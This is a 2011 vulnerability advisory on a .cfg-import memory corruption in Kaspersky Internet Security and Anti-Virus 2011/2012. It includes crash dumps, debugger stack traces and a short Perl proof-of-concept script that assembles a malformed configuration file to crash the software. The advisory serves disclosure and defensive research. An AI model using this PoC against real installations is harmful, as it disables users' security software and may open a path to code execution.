Kaspersky Internet Security/Anti-Virus – ‘.cfg’ File Memory Corruption
source: https://www.securityfocus.com/bid/51161/info Kaspersky Internet Security and Anti-Virus are prone to a local memory-corruption vulnerability. A local attacker can exploit this issue to cause the affected application to crash, denying service to legitimate users. Due to the nature of this issue, arbitrary code execution may be possible; this has not been confirmed. Title: ====== Kaspersky IS&AV 2011/12 - Memory Corruption Vulnerability Date: ===== 2011-12-19 References: =========== http://www.vulnerability-lab.com/get_content.php?id=129 VL-ID: ===== 129 Introduction: ============= Kaspersky Internet Security 2011 has everything that you need to stay safe and secure while you re surfing the web. It provides constant protection for you and your family – whether you work, bank, shop or play online. Kaspersky Anti-Virus 2011 – the backbone of your PC’s security system, offering real-time automated protection from a range of IT threats. Kaspersky Anti-Virus 2011 provides the basic tools needed to protect your PC. Our award-winning technologies work silently in the background while you enjoy your digital life. (Copy of Vendor Homepage: http://www.kaspersky.com/kaspersky_anti-virus && http://www.kaspersky.com/kaspersky_internet_security) Abstract: ========= Vulnerability-Lab Team discovered a Memory & Pointer Corruption Vulnerability on Kaspersky Internet Security 2011/2012 & Kaspersky Anti-Virus 2011/2012. Report-Timeline: ================ 2010-12-04: Vendor Notification 2011-01-16: Vendor Response/Feedback 2011-12-19: Public or Non-Public Disclosure Status: ======== Published Affected Products: ================== Exploitation-Technique: ======================= Local Severity: ========= Medium Details: ======== A Memory Corruption vulnerability is detected on Kaspersky Internet Security 2011/2012 & Kaspersky Anti-Virus 2011/2012. The vulnerability is caused by an invalid pointer corruption when processing a corrupt .cfg file through the kaspersky exception filters, which could be exploited by attackers to crash he complete software process. The bug is located over the basegui.ppl & basegui.dll when processing a .cfg file import. Vulnerable Modules: [+] CFG IMPORT Affected Version(s): Kaspersky Anti-Virus 2012 & Kaspersky Internet Security 2012 KIS 2012 v12.0.0.374 KAV 2012 v12.x Kaspersky Anti-Virus 2011 & Kaspersky Internet Security 2011 KIS 2011 v11.0.0.232 (a.b) KAV 11.0.0.400 KIS 2011 v12.0.0.374 Kaspersky Anti-Virus 2010 & Kaspersky Internet Security 2010 --- Kaspersky Bug Logs --- Folder: ../Analyses/Crash Reports (KIS&KAV) KAV.11.0.0.232_08.04_22.24_3620.GUI.full.dmp KAV.11.0.0.232_08.04_22.24_3620.GUI.mini.dmp KAV.11.0.0.232_08.04_22.24_3620.GUI.tiny.dmp KAV.11.0.0.232_08.04_22.28_2956.GUI.full.dmp KAV.11.0.0.232_08.04_22.28_2956.GUI.mini.dmp KAV.11.0.0.232_08.04_22.28_2956.GUI.tiny.dmp KAV.11.0.0.232?_08.04_23.21_3712.GUI.full.dmp KAV.11.0.0.232?_08.04_23.21_3712.GUI.mini.dmp KAV.11.0.0.232?_08.04_23.21_3712.GUI.tiny.dmp KAV.11.0.0.232?_08.04_23.54_2640.GUI.full.dmp KAV.11.0.0.232?_08.04_23.54_2640.GUI.mini.dmp KAV.11.0.0.232?_08.04_23.54_2640.GUI.tiny.dmp Reference(s): ../Analyses/Crash Reports (KIS&KAV)/kav_x32.rar ../Analyses/Crash Reports (KIS&KAV)/kis_x32-win7.zip ../Analyses/Crash Reports (KIS&KAV)/kis_x64.zip --- Service Crash Report Queue Logs --- Folder: ../Analyses/Crash Reports (Service) AppCrash_avp.exe_1d98841adaefc9689cba9c4bbd7 AppCrash_avp.exe_434b4962a0ccbccd3c2a6bd5f95 AppCrash_avp.exe_583f849d49fe1a714c9bd02ba4e AppCrash_avp.exe_5f09d49c257b515e08a6defbf11 AppCrash_avp.exe_69cb355e72347419436f047a313 AppCrash_avp.exe_69cb355e72347419436f047a313 AppCrash_avp.exe_a7a7fe58d34d13f0136d933e977 AppCrash_avp.exe_d21fe6df9c207eac2d8c6bcacad AppCrash_avp.exe_d2c8cf27ba2a3f6ceaad6c44327 AppCrash_avp.exe_ed94bb914e255192b71d1257c19 Version=1 EventType=APPCRASH EventTime=129256270253026260 ReportType=2 Consent=1 UploadTime=129256270260076663 ReportIdentifier=d70927a2-a1d7-11df-81a1-95fa4108d4d6 IntegratorReportIdentifier=d70927a1-a1d7-11df-81a1-95fa4108d4d6 WOW64=1 Response.BucketId=1985200055 Response.BucketTable=1 Response.type=4 Sig[0].Name=Anwendungsname Sig[0].Value=avp.exe Sig[1].Name=Anwendungsversion Sig[1].Value=11.0.1.400 Sig[2].Name=Anwendungszeitstempel Sig[2].Value=4c2cd011 Sig[3].Name=Fehlermodulname Sig[3].Value=basegui.ppl Sig[4].Name=Fehlermodulversion Sig[4].Value=11.0.1.400 Sig[5].Name=Fehlermodulzeitstempel Sig[5].Value=4c2cd193 Sig[6].Name=Ausnahmecode Sig[6].Value=c0000005 Sig[7].Name=Ausnahmeoffset Sig[7].Value=00079c3c DynamicSig[1].Name=Betriebsystemversion DynamicSig[1].Value=6.1.7600.2.0.0.768.3 DynamicSig[2].Name=Gebietsschema-ID DynamicSig[2].Value=1031 DynamicSig[22].Name=Zusatzinformation 1 DynamicSig[22].Value=0a9e DynamicSig[23].Name=Zusatzinformation 2 DynamicSig[23].Value=0a9e372d3b4ad19135b953a78882e789 DynamicSig[24].Name=Zusatzinformation 3 DynamicSig[24].Value=0a9e DynamicSig[25].Name=Zusatzinformation 4 DynamicSig[25].Value=0a9e372d3b4ad19135b953a78882e789 UI[2]=C://Program Files (x86)/Kaspersky Lab/Kaspersky Internet Security 2011/avp.exe UI[3]=Kaspersky Anti-Virus funktioniert nicht mehr UI[4]=Windows kann online nach einer Lösung für das Problem suchen und versuchen, das Programm neu zu starten. UI[5]=Online nach einer Lösung suchen und das Programm neu starten UI[6]=Später online nach einer Lösung suchen und das Programm schließen UI[7]=Programm schließen LoadedModule[0]=C:/Program Files (x86)/Kaspersky Lab/Kaspersky Internet Security 2011/avp.exe LoadedModule[1]=C://Windows/SysWOW64/ntdll.dll LoadedModule[2]=C://Windows/syswow64/kernel32.dll LoadedModule[3]=C:/Windows/syswow64/KERNELBASE.dll ... ... LoadedModule[148]=C://Windows//SysWOW64//WMVCore.DLL LoadedModule[149]=C://Windows////SysWOW64//WMASF.DLL LoadedModule[150]=C://Windows//////SysWOW64////EhStorAPI.dll LoadedModule[151]=C://Program Files (x86)//Internet Explorer//ieproxy.dll LoadedModule[152]=C://Windows//SysWOW64//SAMLIB.dll State[0].Key=Transport.DoneStage1 State[0].Value=1 State[1].Key=DataRequest State[1].Value=Bucket=1985200055/nBucketTable=1/nResponse=1/n FriendlyEventName=Nicht mehr funktionsfähig ConsentKey=APPCRASH AppName=Kaspersky Anti-Virus AppPath=C://Program Files (x86)//Kaspersky Lab//Kaspersky Internet Security 2011//avp.exe --- System Crash Report Queue Logs --- Folder: Analyses//Crash Reports (System) WER7A62.tmp.appcompat.txt WER7FFE.tmp.mdmp WER6127.tmp.WERInternalMetadata.xml --- Exception Log --- (a50.ee8): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=0331e7bc ecx=9699eef0 edx=6ddf9ba0 esi=00000002 edi=00000000 eip=76f900ed esp=0331e76c ebp=0331e808 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 --- Debug Logs --- FAULTING_IP: basegui+79bed 6ddf9bed 8b11 mov edx,dword ptr [ecx] EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 6ddf9bed (basegui+0x00079bed) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 9699eef0 Attempt to read from address 9699eef0 PROCESS_NAME: avp.exe FAULTING_MODULE: 755b0000 kernel32 DEBUG_FLR_IMAGE_TIMESTAMP: 4c4f15cf MODULE_NAME: basegui ERROR_CODE: (NTSTATUS) 0xc0000005 - Die Anweisung in 0x%08lx verweist auf Speicher 0x%08lx. Der Vorgang %s konnte nicht im Speicher durchgef hrt werden. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - Die Anweisung in 0x%08lx verweist auf Speicher 0x%08lx. Der Vorgang %s konnte nicht im Speicher durchgef hrt werden. EXCEPTION_PARAMETER1: 00000000 EXCEPTION_PARAMETER2: 9699eef0 READ_ADDRESS: 9699eef0 FOLLOWUP_IP: basegui+79bed 6ddf9bed 8b11 mov edx,dword ptr [ecx] FAULTING_THREAD: 00000ee8 BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_WRITE_INVALID_POINTER_READ PRIMARY_PROBLEM_CLASS: INVALID_POINTER_WRITE DEFAULT_BUCKET_ID: INVALID_POINTER_WRITE LAST_CONTROL_TRANSFER: from 6ddf9bfd to 6ddf9bed STACK_TEXT: 0331f9b8 6ddf9bfd 0331fa54 02485068 00000001 basegui+0x79bed 0331f9f0 6ddf9bfd 0331fa54 02485068 00000001 basegui+0x79bfd 0331fa28 6de5bd10 0331fa54 02485068 00000001 basegui+0x79bfd 0331fa48 6de33ad0 0331fa54 000001f6 000001c2 basegui!DllUnregisterServer+0x12580 0331fa5c 6de34320 00000200 00000000 01c201f6 basegui+0xb3ad0 0331fa9c 6de34d45 000504b4 00000200 00000000 basegui+0xb4320 0331fae0 6de33fdd 000504b4 00000200 00000000 basegui+0xb4d45 0331fb30 754c6238 00000000 00000200 00000000 basegui+0xb3fdd 0331fb5c 754f12a1 02bb0fb0 000504b4 00000200 user32!gapfnScSendMessage+0x270 0331fbd8 754f10e2 0059afd4 02bb0fb0 000504b4 user32!SendNotifyMessageW+0x341 0331fc28 754f11e7 00a06c90 00000000 00000200 user32!SendNotifyMessageW+0x182 0331fc48 754c6238 000504b4 00000200 00000000 user32!SendNotifyMessageW+0x287 0331fc74 754c68ea 754f11be 000504b4 00000200 user32!gapfnScSendMessage+0x270 0331fcec 754c7d31 0059afd4 76db3908 000504b4 user32!gapfnScSendMessage+0x922 0331fd4c 754c7dfa 76db3908 00000000 0331fd88 user32!LoadStringW+0x11f 0331fd5c 754e2292 0331fe18 00000000 0331fe18 user32!DispatchMessageW+0xf 0331fd88 754e70a9 000504b4 00000000 02485048 user32!IsDialogMessageW+0x11e 0331fdb0 6de2e50b 000504b4 0331fe18 023d9be8 user32!IsDialogMessage+0x58 0331fdcc 6de20c1c 0331fe18 74113b90 00000000 basegui+0xae50b 0331fdfc 6de231a8 0331fe18 7411383c 02e260ec basegui+0xa0c1c 0331fe50 6de07dbc 00000000 005e8228 6ddd6f8c basegui+0xa31a8 0331fe64 72da3487 00000003 00000000 005e8244 basegui+0x87dbc STACK_COMMAND: ~5s; .ecxr ; kb SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: basegui+79bed FOLLOWUP_NAME: MachineOwner IMAGE_NAME: basegui.ppl BUCKET_ID: WRONG_SYMBOLS FAILURE_BUCKET_ID: INVALID_POINTER_WRITE_c0000005_basegui.ppl!Unknown WATSON_STAGEONE_URL: http://watson.microsoft.com/StageOne/avp_exe/11_0_0_232/4be3cfb6/basegui_ppl/11_0_0_241/4c4f15cf/c0000005/00079bed.htm?Retriage=1 Followup: MachineOwner --------- 0:005> lmvm basegui start end module name 6dd80000 6df19000 basegui (export symbols) basegui.ppl Loaded symbol image file: basegui.ppl Image path: C://Program Files (x86)//Kaspersky Lab//Kaspersky Internet Security 2011//basegui.ppl Image name: basegui.ppl Timestamp: Tue Jul 27 19:22:23 2010 (4C4F15CF) CheckSum: 0019E22D ImageSize: 00199000 File version: 11.0.0.241 Product version: 11.0.0.241 File flags: 0 (Mask 3F) File OS: 40004 NT Win32 File type: 1.0 App File date: 00000000.00000000 Translations: 0409.04b0 CompanyName: Kaspersky Lab ZAO ProductName: Kaspersky Anti-Virus InternalName: BASEGUI OriginalFilename: BASEGUI.DLL ProductVersion: 11.0.0.241 FileVersion: 11.0.0.241 FileDescription: Kaspersky Anti-Virus GUI Windows part LegalCopyright: Copyright © Kaspersky Lab ZAO 1997-2010. LegalTrademarks: Kaspersky™ Anti-Virus ® is registered trademark of Kaspersky Lab ZAO. 0:005> .exr 0xffffffffffffffff ExceptionAddress: 6ddf9bed (basegui+0x00079bed) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 9699eef0 Attempt to read from address 9699eef0 Information: The kaspersky .cfg file import exception-handling filters wrong or manipulated file imports like one this first test ... (wrong-way.png). The PoC is not affected by the import exception-handling & get through without any problems. A invalid pointer write & read allows an local attacker to crash the software via memory corruption. The technic & software to detect the bug in the binary is prv8. Notice: An local attacker do not need to know any passwords to load a .cfg (Configuration) file. (access-rights.png) Folder: ../Analyses/Debug References(Pictures): ../appcrash1.png ../appcrash2.png ../appcrash3.png ../appcrash4.png ../appcrash5.png ../debug&exception.png ../kav2011.png ../reproduce-x32.png ../wrong-way.png ../access-rights.png Proof of Concept: ================= The vulnerability can be exploited by local attackers via import or remote attacker via user inter action. For demonstration or reproduce ... #!/usr/bin/perl ############################################################################## my $code="corrupt" x 1; ################################################################### $FH1 = "file1"; $FilePath1 = "part1.bin"; $FH2 = "file2"; $FilePath2 = "part2.bin"; ################################################################### open(myfile,'>> poc_pwn.cfg'); binmode myfile; ################################################################### open(FH1, $FilePath1); binmode FH1; while (<FH1>) { print myfile; } close(FH1); print myfile $code; open(FH2, $FilePath2); binmode FH2; while (<FH2>) { print myfile; } close(FH2); ################################################################### PoC: ../PoC/kis&kav_2011_2012_p0c.pl ../PoC/part1.bin ../PoC/part2.bin Risk: ===== The security risk of the bug/vulnerability is estimated as medium(+). Credits: ======== Vulnerability Research Laboratory - Benjamin K.M. (Rem0ve) Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability- Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab or its suppliers. Copyright © 2011|Vulnerability-Lab |